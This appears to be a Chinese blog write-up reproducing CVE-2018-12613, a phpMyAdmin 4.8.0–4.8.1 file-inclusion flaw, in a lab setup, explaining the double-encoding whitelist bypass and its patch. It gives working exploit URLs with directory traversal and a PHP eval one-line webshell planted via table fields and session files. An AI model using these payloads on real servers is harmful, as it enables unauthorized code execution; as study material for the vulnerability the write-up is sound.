—0x00 漏洞介绍—

2018年6月19日,phpmyadmin在最新版本修复漏洞。phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

—0x01漏洞原理—

在phpMyAdmin 4.8.1版本的index.php文件中,第50-63行代码如下:
CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第四个判断是黑名单判断。在index.php中已经定义好了target_blacklist的值,它们是import.php和export.php,只要不等于这两个值就可以。

第五个判断Core::checkPageValidity($_REQUEST[‘target’]为真,通过全局搜索发现了代码在libraries\classes\Core.php文件的第443-476行

CVE-2018-12613phpmyadmin(文件包含)漏洞复现goto_whitelist的代码:
CVE-2018-12613phpmyadmin(文件包含)漏洞复现CVE-2018-12613phpmyadmin(文件包含)漏洞复现
当传入二次编码后的内容,会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件。
例如:传入“?target=db_datadict.php%253f ”,由于服务器会自动解码一次,所以在checkPageValidity()中,page的值一开始会是“db_datadict.php%3f”,又一次url解码后变成了“db_datadict.php?”,这时符合了?前内容在白名单的要求,函数返回true。但在index.php中_REQUEST[‘target’]仍然是“db_datadict.php%3f”,而且会被include,通过目录穿越,就可造成任意文件包含。最终通过该漏洞实现了上述攻击,这个漏洞也很快被修复并发布新版本。

—0x02影响版本—

phpMyAdmin 4.8.0
phpMyAdmin 4.8.1

—0x03 漏洞修护—

通过git changelog查看官方如何修复漏洞的。查找补丁源码发现修复手法简单粗暴,直接在checkPageValidity中多加了一个参数includeinclude。当include=true时,仅执行第一次判断$page的合法性,我们的payload也就没有办法进入到urldecode的步骤了.

—0x04 漏洞环境—

一台windows2008
phpstudy 2018
phpmyadmin4.8.1

第一步 下载phpstudy2018—>放在window server 2008里面

[https://www.xp.cn/download.html]
CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第二步 phpstudy没有安装VC11、VC14运行库参考文档

[https://blog.csdn.net/qq_41901122/article/details/104700734]
CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第三步 下载phpMyAdmin-4.8.1-all-languages

CVE-2018-12613phpmyadmin(文件包含)漏洞复现
替换掉之前版本—>更换4.8.1—>更改文件名
CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第四步 查看phpmyadmin版本

[http://192.168.139.136/phpmyadmin/README]
CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第五步 查看window server 2008的配置文件

[C:\phpStudy\PHPTutorial\WWW\phpMyAdmin/README]
CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第六步 数据库版本

CVE-2018-12613phpmyadmin(文件包含)漏洞复现

—0x05 漏洞利用思路—

第一步 明确版本

第二步 文件包含漏洞

第三步 获取漏洞利用的条件

show VARIABLES like ‘%char%’;查看系统路径select @@datadir;查看数据存储路径

第四步 写入shell,构造payload

—0x06 漏洞复现—

方法一:直接包含文件

[ http://192.168.139.136/phpmyadmin/index.php?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/…/Windows\win.ini]
CVE-2018-12613phpmyadmin(文件包含)漏洞复现

方法二:包含frm文件(表结构),通过在创建数据库表时将数据库的名称设为我们的php一句话木马。从而包含这个文件时可以执行一句话木马

第一步 [show variables like ‘%datadir%’;] 查询数据库路径

CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第二步 创建表qwe

CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第三步 创建字段为一句话木马

CVE-2018-12613phpmyadmin(文件包含)漏洞复现
CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第四步 查询win2008看是否写入

注意 写入的一句话需要用GET方式,POST方式尝试过无法成功
CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第五步 访问写入的文件位置

[ http://192.168.139.136/phpmyadmin/index.php?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/phpStudy\PHPTutorial\MySQL\data\test\qwe.frm]
CVE-2018-12613phpmyadmin(文件包含)漏洞复现

方法三:phpsession序列化数据保存至session文件,包含其缓存文件。通过一句话木马,进而包含sess_sessionId文件。

第一步 [ select ‘<?php phpinfo() ?>’;]

CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第二步 F12查看网站Session值,查看当前页面cookie中的phpmyadmin的值

CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第三步 构建包含Session值的URL路径。

访问【http://192.168.139.136/phpmyadmin/index.php?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/…/phpStudy\PHPTutorial\tmp\tmp\sess_v4v23hqph5m5ljnq12860p647319mqqd】
CVE-2018-12613phpmyadmin(文件包含)漏洞复现
CVE-2018-12613phpmyadmin(文件包含)漏洞复现

第四步 此时 尝试[ select ‘<?php @eval($_GET[w]); ?>’;]

CVE-2018-12613phpmyadmin(文件包含)漏洞复现CVE-2018-12613phpmyadmin(文件包含)漏洞复现

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!
参考链接:https://blog.csdn.net/Eastmount/article/details/103925419/

相关文章:

  • 2021-08-31
  • 2020-03-13
  • 2021-10-01
  • 2019-09-29
  • 2021-11-01
  • 2021-08-21
  • 2021-07-03
  • 2020-04-18
猜你喜欢
  • 2022-01-20
  • 2020-04-15
  • 2021-04-16
  • 2021-04-19
  • 2021-10-11
  • 2021-12-02
  • 2021-12-17
相关资源
相似解决方案